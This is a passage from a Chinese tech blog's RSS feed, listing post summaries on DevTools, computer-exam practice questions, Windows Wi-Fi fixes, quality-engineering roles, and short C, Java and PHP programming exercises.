start-balancer.sh 5删除主机名 从NameNode的excludes文件及slaves文件、hosts文件中去掉已经移除的主机名&#xA;在所有DataNode上执行hadoop-pull.sh脚本，同步配置。</description>
    </item>
    <item>
      <title>微服务架构常见问题以及解决方案</title>
      <link>https://bchobby.github.io/posts/0ef82dc54ae5c63fe5af461241a7b522/</link>
      <pubDate>Tue, 06 Jul 2021 16:40:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ef82dc54ae5c63fe5af461241a7b522/</guid>
      <description> 一旦采用微服务系统架构，就势必会遇到这样几个问题：&#xA;这么多小服务，如何管理他们？ ----组件来解决这些问题这么多小服务，他们之间如何通讯？这么多小服务，客户端怎么访问他们？这么多小服务，一旦出现问题了，应该如何自处理？这么多小服务，一旦出现问题了，应该如何排错? 对于上面的问题，是任何一个微服务设计者都不能绕过去的，因此大部分的微服务产品都针对每一个问题提供了相应的组件来解决它们。&#xA;如图所示组件&#xA;图片所示组件详解见下篇--微服务架构的常见概念 </description>
    </item>
    <item>
      <title>Chrome调试</title>
      <link>https://bchobby.github.io/posts/26642beb9f52e084cc693c80526dc92d/</link>
      <pubDate>Tue, 06 Jul 2021 11:31:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26642beb9f52e084cc693c80526dc92d/</guid>
      <description>一、谷歌浏览器开发者模式&#xA;F12打开调试模式&#xA;【箭头图标】用于在页面选择一个元素来审查和查看它的相关信息，当我们在Elements这个按钮页面下点击某个Dom元素时，箭头按钮会变成选择状态【设备图标】切换到不同的移动终端设备模式，同时可以选择不同的尺寸比例【Elements】元素面板，查看Web页面的HTML与CSS，可以双击对当前页面进行修改【Console】控制台面板，JavaScript输出信息的控制台，在这里可以查看到JS的错误信息，也可以执行键入的JS脚本【Sources】源代码面板，我们在这个页面对JS代码进行调试，可设置断点【Network】网络面板，可以明确的查看到访问Web页面所产生的全部请求（包括应答状态、响应时间、数据量等信息）和下载的资源文件，并可以模拟不同的网络状态（在线、离线、3G等）下对Web的加载情况，可以用于分析和优化网页加载性能【Performance】性能面板，记录和查看Web页面在浏览器中运行时的性能表现，主要用于发现Web页面运行时性能瓶颈和性能调优【Memory】内存面板，记录执行JS函数对CPU和内存的使用情况，可以识别开销大的JS函数，跟踪内存泄露，帮助代码优化，提高JS执行性能【Application】应用面板，记录Web页面加载的所有资源信息，包括存储数据、缓存数据、图片、字体、JS脚本、CSS样式表等【Lighthouse】审计面板，从性能（Performance）、PWA兼容性（Progressive Web App）、可访问性（Accessibility）、最佳实践（Best Practices）、搜索引擎优化（SEO）这五个维度给出网站的评估报告【Security】安全面板，查看Web页面的安全和认证情况，确保网站上正确地实现了HTTPS 二、常用功能菜单&#xA;1、【Elements】查看，修改页面上的元素，包括DOM标签，以及css样式的查看，修改，还有相关盒模型的图形信息&#xA;2、【Console】打印和输出相关的命令信息，执行JS脚本&#xA;3、【Sources】1-资源区、2-工作区、3-监控台&#xA;资源区：&#xA;【Page】：展示当前Web页面所包含的资源文件（图片、CSS样式表、JS脚本等）&#xA;【Filesystem】：当我们的Web页面在本地时，我们就可以通过Filesystem选项卡，将本地项目文件夹添加到DevTools的工作区，以直接将对页面的修改保存到本地，还提供对本地文件进行管理（添加文件、删除文件、修改文件等）&#xA;【Overrides】：当我们的Web页面在远程服务器上，本地没有项目源码，我们也可以通过Overrides选项卡选定目录让DevTools创建一个文件夹来保存对远程Web页面的所有修改。修改完成后，用这些文件直接去覆盖远程服务器上的源文件就完成了页面的修改&#xA;【Content script】：用于存放的是Chrome扩展的“注入”页面的JS脚本的独立空间（这里的JS脚本共享页面DOM与消息机制，与页面的JS脚本互相不知道对方的存在，无法访问对方的变量和函数）&#xA;【Snippets】：可以在这里创建代码片段，并独立运行和调试，刷新页面不会丢失&#xA;工作区：&#xA;针对JS脚本可以添加/移除断点，在断点上打开右键菜单可以禁用断点，以及设置断点触发条件进行编辑&#xA;监控台：&#xA;【Watch】：跟踪监控变量，点击&#34;+&#34;号添加变量名&#xA;【Call Stack】：函数调用栈，显示执行路径&#xA;【Scope】：查看属性作用域&#xA;【Beakpoints】：这里可以查看到所有的断点启用状态及位置&#xA;【XHR/fetch Breakpoints】：当XHR的请求URL包含某一特定的字符串时所触发的断点&#xA;【DOM Breakpoints】：当改变一个节点或其子元素时所触发的断点&#xA;【Global Listeners】：全局监听器，绑定在 window 对象上的事件&#xA;【Event Listener Breakpoints】：事件发生时所触发的断点&#xA;说明：上图中“{ }”可以格式化JS脚本。&#xA;4、【Network】网络请求&#xA;【区域1】&#xA;从左至右，功能分别为：&#xA;请求信息记录按钮，关闭状态则不会记录&#xA;请求信息清楚按钮，一键清除请求信息&#xA;请求过滤，可以自定义筛选条件&#xA;请求检索，检索符合条件的请求&#xA;Preserve log 保留日志，重新加载url时，之前请求显示的资源信息，会保留下来，不会清空&#xA;Disable cache 否进行缓存，打开这个开关，则页面资源不会存入缓存&#xA;No throttling 模拟多种网络的访问&#xA;Network conditions 网络请求设置&#xA;上、下箭头 导入或导出网页交互操作产生的报文&#xA;【区域2】请求过滤&#xA;过滤条件输入框，可以输入一些字符串、域、大小、状态码、媒体类型等等&#xA;data URLs指一些嵌入到文档中的小型文件，在请求表里面以data:开头的文件就是，如较为常见的svg文件。勾选Hide data URLs复选框即可隐藏此类文件&#xA;All、XHR、JS、CSS、Img、Media、Font、Doc、WS、Manifest、Other 根据请求资源类型筛选，其中All是所有类型，XHR指异步网络请求，WS指webSocket连接&#xA;【区域3】时间轴&#xA;根据请求发出时间呈现，可选择时间段展示该时段内请求</description>
    </item>
    <item>
      <title>全国计算机一级计算机基础及WPS考试题型,计算机一级考试科目有哪些？Wps和ms考试的题目一样吗？...</title>
      <link>https://bchobby.github.io/posts/237119139dcd25f064276258fc6cba45/</link>
      <pubDate>Tue, 06 Jul 2021 00:16:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/237119139dcd25f064276258fc6cba45/</guid>
      <description>计算机一级考试科目有哪些？Wps和ms考试的题目一样吗？&#xA;2019-12-0215:00:25&#xA;来源： 作者：songzini&#xA;1&#xA;//计算机一级考试科目有哪些？Wps和ms考试的题目一样吗？&#xA;全国计算机一级证作为一个最基础的计算机证件，每年报考人数还是挺多的，但对于很多第一次报考生来说，还是存在很多疑问的，下面小编就给大家解惑一下。&#xA;一、计算机一级考试科目有哪些？&#xA;计算机一级主要是考核计算机基础知识和使用办公软件及因特网的基本技能。&#xA;计算机一级考试科目主要有4个，如下所示：&#xA;1、计算机基础及ms office应用，是一级中最火热的科目，实用性比较高，主要是考计算机基础知识及office办公软件的基础运用。&#xA;2、计算机基础及WPS office应用，与ms office类似，但相对简单很多，只有Word、excel和PPT，主要也是考计算机基础知识及WPS办公软件的基础运用。&#xA;3、计算机基础及Photoshop应用，一般报考的人多是与设计专业相关的，报考人数相对少一些，主要是考计算机基础知识及Photoshop软件的基础运用。&#xA;4、一级新科目“网络安全素质教育”，这个是今年9月份才正式开考的科目，相关资讯很少。&#xA;注：每次考试只能报考一个科目，只能在一个地点报考。&#xA;二、WPS和ms考试的题目一样吗？&#xA;计算机一级中WPS和ms都是考察的对于office软件的运用，因此很多人都表示“考察的软件差不多，那是否考试题目也是一样的呢”。&#xA;对此，我可以很明确的告诉大家，是不一样的，因为两者的考试内容是有区别的，ms office比较侧重计算机基础知识、操作系统的功能和使用，相关组件更多等，而WPS则比较侧重于文字的编辑和打印，组件也只有Word、excel和PPT三个。&#xA;计算机一级整体来说并不是很难，不过也还是需要花一定的时间来备考的，备考时建议可以使用上学吧计算机一级考试题库，去做做里面的历年真题，然后多上机实操，加强对软件的使用和掌握。&#xA;计算机一级是很常见的一个证件考试，每年报考的人数也很多，是由国家统一组织、统一考试的，因此认可度也比较高，那计算机一级考试难不难？有没有什么考试技巧呢？下面就跟小编一起探讨一下吧！&#xA;一、计算机一级难不难？&#xA;计算机一级考试主要是考核计算机基础知识和使用办公软件及因特网的基本技能。&#xA;主要是上机考试，以选择题和操作题的形式出题，都是比较基础的知识，考试难度不大，主要就是多练几套题，可以借助上学吧计算机一级考试题库去练习，选题题大部分都是在题库中历年真题里抽取的，操作题也是主要多上机操作几次，掌握熟练，考试时就没什么问题了。&#xA;二、计算机一级有什么考试技巧？&#xA;计算机一级考试还有很多的考试小技巧，可以帮助你考试更顺利。&#xA;1、选择题不要太耽误时间，会做的先做了，不会的也不要太纠结。&#xA;2、Office考试的文字录入题把字录入了再编辑，不然如果把字体那些设置了再做，是会降低分的，而且是计时的，中途一定不能退出。&#xA;3、Word、Excel、PowerPoint等操作题做好后一定要记得进行保存操作，并且退出应用程序，这些都是要计分的。&#xA;4、Excel需要操作公式、函数、图表等，是最花时间的，所以建议留在最后做，并且时间留多一点。&#xA;好啦！计算机一级考试小技巧就分享到这了，希望对你们有所帮助，另外，复习时还推荐大家可以借助上学吧计算机一级考试题库，去多多练练里面的历年真题，有助于提高复习效率。&#xA;免下载，即可体验强大搜题神器&#xA;温馨提示：因考试政策、内容不断变化与调整，上学吧提供的以上信息仅供参考，如有异议，请考生以权威部门公布的内容为准。</description>
    </item>
    <item>
      <title>如何用计算机扫描图片变成文字,如何把文字图片或者扫描的文件变成word文档？详细步骤...</title>
      <link>https://bchobby.github.io/posts/9c9be70af02f06af5b1799252f36501b/</link>
      <pubDate>Mon, 05 Jul 2021 21:18:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c9be70af02f06af5b1799252f36501b/</guid>
      <description>我们在日常工作，有时候会遇到需要把文字图片或者扫描的文件变成word文档，最笨的方法就是一个一个字的打到word文档，有一些图片的文字是可以在搜索引擎上找到的，但是首先这个需要运气好。不过，现在小编就要教打一种新的方法，用的软件就是我们常用的Word。具体步骤如下：&#xA;1、首先保障你计算机的office安装有Microsoft Office Document Imaging组件，如图1，如果你安装的是迷你Office可能就没有，请安装完整版的Office就行了;&#xA;Microsoft Office Document Imaging组件&#xA;2、随便在电脑中哪儿新建一个Word文档，进入后选择插入--图片--来自文件;&#xA;新建文件&#xA;3、在插入图片文件框中找到你想要从中抓出文字的图片;&#xA;4、将图片成功插入Word中;&#xA;图片插入&#xA;5、依次点击文件--打印，打开打印窗口，只要你安装了Microsoft Office Document Imaging组件，完成我告诉你的第一步操作，这样在打印机名称下拉选项中肯定有一个名为Microsoft Office Document Imaging的打印机;&#xA;打印对话框&#xA;6、点击打印并不会真正打印，而是出现一个另存为的对话框;&#xA;另存为对话框&#xA;7、再点击保存后office会自动启动Microsoft Office Document Imaging组件打开你刚刚保存的文件;&#xA;word面板&#xA;8、在Microsoft Office Document Imaging组件右边的窗口中直接用左键圈中你欲复制的文字，再点击右键选择复制;&#xA;选择复制&#xA;9、点击复制后稍等几秒钟就会出现一个ocr字体识别的进度条，这个过程只需要短短几秒钟时间，此后你就可以新建一个空白的文本文档，在文档中直接复制就可以将刚刚从图片上所抓的文字复制到文本中来;&#xA;抓字&#xA;10、在第8部完成后你也可以再在Microsoft Office Document Imaging组件右边的窗口中点击右键--将文本发送到Word(T);&#xA;将文本发送到Word&#xA;11、点击后Office同样会自动打开一个新的Word文档，在这个新打开的Word文档中就有了我们刚刚从图片上所抓的文字。&#xA;将文本复制到Word</description>
    </item>
    <item>
      <title>计算机一级及wps试题,计算机等级考试一级WPS试题及答案</title>
      <link>https://bchobby.github.io/posts/9a9c9d5a22c3d7b8774efbc0dcb2786d/</link>
      <pubDate>Mon, 05 Jul 2021 02:39:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a9c9d5a22c3d7b8774efbc0dcb2786d/</guid>
      <description>计算机等级考试一级WPS试题及答案&#xA;一、选择题&#xA;1、计算机中数据的表示形式是&#xA;A)八进制&#xA;B)十进制&#xA;C)二进制&#xA;D)十六进制&#xA;【参考答案】：C&#xA;2、硬盘工作时应特别注意避免&#xA;A)噪声&#xA;B)震动&#xA;C)潮湿&#xA;D)日光&#xA;【参考答案】：B&#xA;3、针式打印机术语中，24针是指&#xA;A)24x24点阵&#xA;B)信号线插头有24针&#xA;C)打印头内有24x24根针&#xA;D)打印头内有24根针&#xA;【参考答案】：D&#xA;4、下面列出的四种存储器中，易失性存储器是&#xA;A)RAM&#xA;B)ROM&#xA;C)PROM&#xA;D)CD-ROM&#xA;【参考答案】：A&#xA;5、办公自动化是计算机的一项应用，按计算机应用的分类，它属于&#xA;A)科学计算&#xA;B)实时控制 www.Examda.CoM&#xA;C)数据处理&#xA;D)辅助设计&#xA;【参考答案】：C&#xA;6、I/O接口位于&#xA;A)总线和设备之间&#xA;B)CPU和I/O设备之间&#xA;C)主机和总线之间&#xA;D)CPU和主存储器之间&#xA;【参考答案】：A&#xA;7、计算机硬件能直接识别和执行的只有&#xA;A)高级语言&#xA;B)符号语言&#xA;C)汇编语言&#xA;D)机器语言&#xA;【参考答案】：D&#xA;8、具有多媒体功能的微型计算机系统中，常用的CD-ROM是&#xA;A)只读型大容量软盘&#xA;B)只读型光盘&#xA;C)只读型硬盘&#xA;D)半导体只读存储器&#xA;【参考答案】：B&#xA;9、微机中1K字节表示的二进制位数是&#xA;A)1000&#xA;B)8x1000&#xA;C)1024&#xA;D)8x1024&#xA;【参考答案】：D&#xA;10、下列字符中，ASCII码值最小的是&#xA;A)a&#xA;B)A&#xA;C)x&#xA;D)Y&#xA;【参考答案】：B&#xA;11、Windows 95操作系统是一个&#xA;A)单用户多任务操作系统&#xA;B)单用户单任务操作系统&#xA;C)多用户单任务操作系统&#xA;D)多用户多任务操作系统</description>
    </item>
    <item>
      <title>win7无法搜索到网络计算机,笔记本win7系统搜索不到无线网络信号怎么解决</title>
      <link>https://bchobby.github.io/posts/88a74aaabfdf5743e7abba6e4ddd5787/</link>
      <pubDate>Mon, 05 Jul 2021 02:24:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88a74aaabfdf5743e7abba6e4ddd5787/</guid>
      <description>传统的网线主要用于台式机，笔记本电脑最大的特点就是可移动性强，可以通过无线网络连接，摆脱网线的束缚。笔记本电脑都内置无线网卡，打开无线开关之后，通常就可以搜索到wifi信号，不过有用户使用win7笔记本搜索无线网络信号，发现搜不到，出现这个问题可能是无线服务未开启所致，这边小编跟大家介绍win7笔记本系统搜索不到无线网络信号的解决方法。&#xA;笔记本无线网络连接条件：&#xA;1、有知道密码的wifi信号&#xA;2、开启无线网卡&#xA;3、开启无线开关，一般是Fn+F*，在F1-F12之间找，有个wifi图标的键就是&#xA;4、开启无线服务&#xA;解决步骤如下：&#xA;1、前面三个都好解决，开启无线服务可能会遗漏，按组合键(win+R)打开运行窗口，然后输入“service.msc”并回车确认；&#xA;2、打开服务窗口后，在服务列表中找到并双击“WLAN AutoConfig”；&#xA;3、在弹出的属性设置窗口中，点击切换到“常规”标签，在启动类型设置下拉框中选择“自动”，建议设置自动，防止忘记启动它，然后点击“应用--确定”按钮保存修改即可。&#xA;重启电脑，这时候应该就可以搜索到无线网络信号了，如果你也遇到搜不到无线网络信号的问题，排查一下是否是忘记开启无线服务。</description>
    </item>
    <item>
      <title>C语言实现的通讯录管理系统。</title>
      <link>https://bchobby.github.io/posts/bb34c478b3efc267a5f48b9014cfec36/</link>
      <pubDate>Sun, 04 Jul 2021 23:01:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb34c478b3efc267a5f48b9014cfec36/</guid>
      <description>C语言实现的通讯录管理系统。&#xA;设计一个学生通信录，学生通迅录数据信息构成内容可自行设计(如：学号、姓名、电话号码、所在班级、寝室地址等)，通信录数据类型定义为结构体类型。&#xA;主要实现功能包括：&#xA;（1）创建学生通讯录&#xA;（2）修改学生通讯录&#xA;（3）增删学生通讯录&#xA;（4）能够按多种方式进行查询（如：①按学号查询；②按所在班级查询）&#xA;源代码：&#xA;#define _CRT_SECURE_NO_WARNINGS #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #include&amp;lt;conio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; #include&amp;lt;windows.h&amp;gt; #include&amp;lt;time.h&amp;gt; typedef struct people { char name[10]; //姓名 char IDnumber[20];//学号 char phone[15]; // 手机号 int classNum; //班级 char roomID[10]; //寝室 }people; //定义别名people //函数模块定义 void UI_show();//进入界面 UI 实现 void NEW_in(); //新学生信息添加 void OLD_adjust();//修改学生信息 void OLD_delete(); //删除学生信息 void OLD_find(); //学生信息查找 void OLD_findByNum();//通过学号查找 void OLD_findByName();//通过姓名查找 //各种UI界面显示 void UI_show1(); void UI_show2(); void UI_show3(); void UI_show4(); void UI_show5(); void UI_show6(); //======================================================================= //进入界面 UI 实现 void UI_show() { int i; //-------------------------------------------------------------------- printf(&#34;</description>
    </item>
    <item>
      <title>聊一下质量管理体系中的DQE/SQE/PQE/CQE</title>
      <link>https://bchobby.github.io/posts/984ad17f2461d430866a52db1f563513/</link>
      <pubDate>Sun, 04 Jul 2021 17:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/984ad17f2461d430866a52db1f563513/</guid>
      <description>最近接触了不少质量体系的话题，反复的听到SQE、DQE等，大概知道是跟质量管理相关的一些职位，但是具体也不是很清楚，于是干脆来理一下。&#xA;正式开始之前，先要介绍一下他们的老祖宗：QE，英文全称是Quality Egineering，中文意思是质量工程， 它主要着重于为品质管理活动提供技术支持，如可靠性试验，检验程式的设定，检验指导书（SIP）的制定，不良品或失效模式的分析等，QE是建立、分析、完善质量技术控制的程序。在实际执行的过程中，将QE细分为DQE、SQE、PQE、CQE等。&#xA;DQE： 全称：Design Quality Engineer，代表的是设计质量工程师。负责研发全过程环节的质量策划、实施、跟进，节点评审、产品验证、产品试验、检验，质量问题分析、改善措施制定及跟踪落实等等。&#xA;另外还包括，过程工艺，出货规格，质量标准制订，控制计划拟定（可靠性测试，物料认证，包括相关测试计划，标准，如果需要），buglist统计，项目进阶会议，推动各部门改善问题点，管理buglist，总结经验，承接试产，转交相关资料，直到量产。&#xA;SQE： 全称：Supplier Quality Engineer，即供应商质量工程师。主要负责从事技术质量和服务质量等的研究、管理、监督、检查、检验、分析、鉴定等。&#xA;工作职责：&#xA;对参与供应的供应商进行样品评估，并给出选定意见。&#xA;对供应商提供的原材料进行质量把控，对其中相关的质量问题需要汇报并协助厂商检查和修改。&#xA;为入货的验货部门制定检验计划，并进行一定的培训。&#xA;为供应商提供的产品进行质量方面上的打分，并参与下一个季度对新供应商的考核评分。&#xA;PQE： 全称：Product Quality Engineer，即产品质量工程师。主要负责熟悉产品的制程，分析和解决产品制造过程中出现的质量问题。&#xA;工作职责：&#xA;依据新产品和物料试产要求，审核新产品资料汇总表内容、试产结果、 PFMEA报告。审核产品质量计划（QC工程图），审批产品检验标准和作业指导书，评估检验工装治具的效用及对检验员进行培训的效果。生产、PQC、OQC发现的过程/产品缺陷，监督指导分析和处理过程，总结提炼并指导经验的运用。指导客诉、客退反映的过程/产品缺陷分析，审核客诉报告。制程、检验质量数据和报表的分析，总结提炼并指导闭环处理。依据产品制程可靠性/ORT要求，审批产品制程可靠性/ORT实验方案。依据客户对产品制程质量数据的需求，审核相关的质量数据报表。将内外部临时发生信息（检验要求、退料要求、出货要求）整理传递并监督执行情况。制定半成品、成品RoHS检测方案审核。依据3C、UL、RoHS等标准相关要求，审核对应的流程文件及实施记录。指导内外部审核及纠正、预防措施的实施。依据物料/产品试产要求，跟踪回复试产结果。跟进产品的品质状况,处理客户投诉并提供解决措施，并负责客户所需相关测试参数的收集及传递 CQE： 全称：Certified Quality Engineer，即注册质量工程师。&#xA;工作职责：&#xA;负责产品的售后，分析产品质量的原理、系统及团队的动态变化，对客户、供应商，乃至培训，都需要进行追踪和汇报。&#xA;跨领域获取和分析数据，制定可行的标准和定量的方法，给出预防和校正的措施。&#xA;进行计划制定、材料选取及取样测量等工作安排，对计划和结果进行审核和报告。&#xA;实例说明 在一个企业里，当有一个需要研发的新产品，首先需要SQE去和采购部门沟通配合，对前来参选的供应商进行样品评估，当材料送达企业，SQE和PQE需要对其进行质量把控、审核汇报，最后客户对产品进行反馈，CQE则扮演着售后的角色。</description>
    </item>
    <item>
      <title>如何判断APP在不同Android设备中加载的资源文件是那个限定符文件夹下的</title>
      <link>https://bchobby.github.io/posts/39f655157bfee1b3b2f2f45ad2c18a7a/</link>
      <pubDate>Sun, 04 Jul 2021 14:25:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39f655157bfee1b3b2f2f45ad2c18a7a/</guid>
      <description>以下以图片资源为例，因为一般涉及到图片适配，所以出现图片显示异常，可以查看图片是加载的那个资源文件夹下的来判断是什么问题；前提是这张图片是放在项目中；&#xA;public void click(View view) { String name = (String) getText(R.drawable.ui1); String name2 = getResources().getString(R.drawable.ui1); Log.d(TAG, &#34; name:&#34; + name + &#34; name2: &#34; + name2); } 打印输出：name: res/drawable-xxhdpi-v4/ui1.png name2:res/drawable-xxhdpi-v4/ui1.png，所以从log可以看出加载的是xxhdpi下的图片资源，具体后面为什么多了一个-v4，目前还不太清楚，如果知道的朋友请帮忙留言指出！</description>
    </item>
    <item>
      <title>卫星遥感数据处理软件SeaDAS</title>
      <link>https://bchobby.github.io/posts/3785025068d399c29e74cf639b967657/</link>
      <pubDate>Sun, 04 Jul 2021 13:07:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3785025068d399c29e74cf639b967657/</guid>
      <description>1. SeaDAS介绍 https://seadas.gsfc.nasa.gov/about/&#xA;SeaDAS是一个全面的软件包，用于处理，显示，分析和质量控制遥感地球数据。&#xA;SeaDAS是NASA OBPG科学软件的官方发行点。SeaDAS的科学处理组件将OBPG算法应用于卫星数据，以表征和校准数据并生成科学质量的OBPG产品。&#xA;SeaDAS目前支持超过15个美国和国际卫星飞行任务的科学处理。为了确定地球/海洋表面水平信号，使用了其他一致的辅助数据来校正和校准信号的大气成分。&#xA;可以开发定制算法并将其应用在SeaDAS内，以评估海洋，陆地和大气数据，并生成真实彩色图像。&#xA;SeaDAS还可以将SeaBASS格式的原位数据集成在一起，以便与相关的卫星数据进行比较分析。&#xA;SeaDAS 8.x平台（ESA SNAP平台的扩展）充当NASA SeaDAS Toolbox和ESA Sentinel-3 Toolbox的应用程序平台。NASA SeaDAS科学处理的核心元素（基于命令行和基于GUI）都包含在SeaDAS ToolBox中。Sentinel-3工具箱中包含用于Sentinel-3任务的NASA卫星任务数据文件读取器和ESA处理器。在GUI的核心组件和内部框架方面，SeaDAS 8.x是对SeaDAS 7.5.3的重大修改。&#xA;SeaDAS的最新版本是8.0.0（测试版），其中包含SeaDAS Toolbox（版本1.0.0）和Sentinel-3 Toolbox（版本8.0.0）。&#xA;2. 软件下载地址 https://seadas.gsfc.nasa.gov/downloads/&#xA;3. 支持数据格式 MODIS&#xA;Landsat&#xA;SAR&#xA;……&#xA;4. 结果显示 软件界面&#xA;点击谱带，添加经纬网，修改色标，查看实时经纬度&#xA;可以旋转图像角度，调整色标范围&#xA;可以查看图像在地球上的位置&#xA;可以设置是否显示的图层：比如经纬网、海岸线等&#xA;如何导出图像</description>
    </item>
    <item>
      <title>力扣解题思路：分割回文串</title>
      <link>https://bchobby.github.io/posts/7f892367795e1f5899c82939512f118c/</link>
      <pubDate>Sun, 04 Jul 2021 11:31:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f892367795e1f5899c82939512f118c/</guid>
      <description>131. 分割回文串 思路：&#xA;因为题目要求不是分割的方法种数，而是具体的分割方法，所以用dfs比较合适，那如果直接用dfs暴力遍历各种可能显然是不高效的，因此我们可以用一个set记录所有出现的回文子串（记忆化递归），这就不用每遇到一个子串就判断一次是不是回文字串了：&#xA;class Solution { List&amp;lt;List&amp;lt;String&amp;gt;&amp;gt; res = new ArrayList&amp;lt;&amp;gt;(); Set&amp;lt;String&amp;gt; set = new HashSet&amp;lt;&amp;gt;(); public List&amp;lt;List&amp;lt;String&amp;gt;&amp;gt; partition(String s) { if(s.length() == 0) return res; dfs(s,0,new ArrayList&amp;lt;&amp;gt;()); return res; } public void dfs(String s,int start,List&amp;lt;String&amp;gt; list){ if(start == s.length()){ res.add(new ArrayList&amp;lt;&amp;gt;(list)); return; } for(int i=start;i&amp;lt;s.length();i++){ if(set.contains(s.substring(start,i+1)) || is(s.substring(start,i+1))){ list.add(s.substring(start,i+1)); dfs(s,i+1,list); list.remove(list.size()-1); } } } public boolean is(String sub){ if(sub.length() == 0) return false; int i = 0; int j = sub.</description>
    </item>
    <item>
      <title>离散数学代数系统幺元零元和逆元</title>
      <link>https://bchobby.github.io/posts/56d4793efe50d9ca37b9a6054f3e3edd/</link>
      <pubDate>Sun, 04 Jul 2021 10:52:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56d4793efe50d9ca37b9a6054f3e3edd/</guid>
      <description>1.幺元（单位元)∶定义:&#xA;设*是集合Z中的二元运算，&#xA;(1)若有一元素el∈Z，对任一x∈Z有el*x=x;则称e1为Z中对于*的左幺元(左单位元素)&#xA;(2）若有一元素erEZ，对任一x∈Z有x*er=x;则称er为Z中对于*的右幺元(右单位元素)&#xA;定理:&#xA;若el和er分别是Z中对于*的左幺元和右幺元，则对于每一个x∈Z，可有el=er=e和e*x=x*e=x,则称e为Z中关于运算*的幺元，且e∈Z是唯一的。&#xA;2.零元定义:&#xA;设*是对集合Z中的二元运算，&#xA;(1)若有一元素0ez，且对每一个xeZ有0*x=e，则称e为Z中对于*的左零元;&#xA;(2）若有一元素0r ez，且对每一个xeZ有x*0r= 0r，则称0为Z中对于*的右零元。(零元不存在逆元)&#xA;定理:&#xA;若el和er分别是Z中对于*的左零元和右零元，于是对所有的xeZ，可有el=Or=0，能使0*x=x*O=0。在此情况下，0∈Z是唯一的，并称0是Z中对*的零元。&#xA;3.逆元定义:&#xA;设*是Z中的二元运算，且Z中含幺元e，令x∈z,&#xA;(1）若存在一xl∈Z，能使xl*x=e，则称xl是x的左逆元，并且称x是左可逆的;&#xA;(2）若存在一xr∈Z，能使x*xr=e，则称xr是x的右逆元，并且称x是右可逆的;&#xA;(3）若元素x既是左可逆的，又是右可逆的，则称x是可逆的，且x的逆元用x1表示。&#xA;定理:&#xA;设Z是集合，并含有k元e。*是定义在Z上的一个二元运算，并且是可结合的。若x∈Z是可逆的，则它的左逆元等于右逆元，且逆元是唯一的。&#xA;理解：逆元是针对某一个元素而言的，换句话说，代数系统a和b里面，a有逆元，不代表不有逆元。 并且和幺元相关，换句话说，代数系统里面必须有幺元，才能去谈逆元。 逆元*元素=幺元。（*为任意符号）</description>
    </item>
    <item>
      <title>全国计算机一级wps网络,全国计算机一级《WPS》考试试题及答案</title>
      <link>https://bchobby.github.io/posts/de5c5c9a35d7a8c2c08dbe60c5a4f5a3/</link>
      <pubDate>Sun, 04 Jul 2021 00:56:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de5c5c9a35d7a8c2c08dbe60c5a4f5a3/</guid>
      <description>全国计算机一级《WPS》考试试题及答案&#xA;1.计算机之所以能按人们的意志自动进行工作，最直接的原因是因为采用了(C)&#xA;A 二进制数制&#xA;B 高速电子元件&#xA;C 存储程序控制&#xA;D 程序设计语言&#xA;解析:人将想要它做的事情用程序的方法写入到它的存储器中，然后它一条一条取出执行。&#xA;计算机最主要的特点是存储程序和自动控制&#xA;2.微型计算机主机的主要组成部分是(B)&#xA;A 运算器和控制器&#xA;B CPU 和内存储器&#xA;C CPU 和硬盘存储器&#xA;D CPU、内存储器和硬盘&#xA;注：微机的发展以(微处理器)的发展为特征&#xA;3.一个完整的计算机系统应该包括(B)&#xA;A 主机、键盘和显示器&#xA;B 硬件系统和软件系统&#xA;C 主机和它的外部设备&#xA;D 系统软件和应用软件&#xA;4. 计算机的软件系统包括(A)&#xA;A 系统软件和应用软件&#xA;C 数据库管理系统和数据库&#xA;B 编译系统和应用软件&#xA;D 程序、相应的数据和文档&#xA;5.微型计算机中，控制器的基本功能是(D)&#xA;A 进行算术和逻辑运算&#xA;C 保持各种控制状态&#xA;B 存储各种控制信息&#xA;D 控制计算机个部件协调一致地工作&#xA;6.计算机操作系统的作用是(A)&#xA;A 管理计算机系统的全部软、硬件资源，合理组织计算机的工作流程，以达到充分发挥计算机资源的 效率，为用户提供使用计算机的友好界面&#xA;B 对用户存储的文件进行管理，方便用户&#xA;C 执行用户键入的各类命令&#xA;D 为汉字操作系统提供运行的基础&#xA;7.计算机的硬件主要包括：中央处理器(CPU)、存储器、输出设备和(C)&#xA;A 键盘&#xA;B 鼠标&#xA;C 输入设备</description>
    </item>
    <item>
      <title>在 index.php 定义函数 getSum，该函数用来计算二维数组(任意数量的子数组，子数组有任意多个键值)中所有数字之和。(测验编号:91516)</title>
      <link>https://bchobby.github.io/posts/cb4f40b8e24938107a61c005a410dcff/</link>
      <pubDate>Sat, 03 Jul 2021 14:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb4f40b8e24938107a61c005a410dcff/</guid>
      <description> yyfun001.com （Web前端开发学习平台）上PHP-MySQL的习题 (测验编号:91516)&#xA;（1）定义函数 getSum，函数接受一个二维数组参数，将二维数组遍历取得所有数字之和。该结果通过 return 方式返回&#xA;（2）在函数外部，调用该函数，参数是 $array , 将返回值赋值给变量$sum&#xA;（3）输出变量$sum&#xA;&amp;lt;?php header(&#34;content-type:text/html;charset=utf-8&#34;); $array = array( array(&#39;1&#39;,&#39;2&#39;,&#39;6&#39;,&#39;5&#39;,&#39;4&#39;), array(&#39;4&#39;,&#39;3&#39;,&#39;2&#39;) ); function getSum($array){ $he=0; //由于数组是多维数组所以需要用到两重foreach循环取值相加 foreach($array as $value){ foreach($value as $value1){ $he+=$value1; } } return $he; } $sum=getSum($array); echo $sum; </description>
    </item>
    <item>
      <title>数组中map遍历会改变原数组吗？</title>
      <link>https://bchobby.github.io/posts/c1be5878796cf095a6e0aa58ee13dc06/</link>
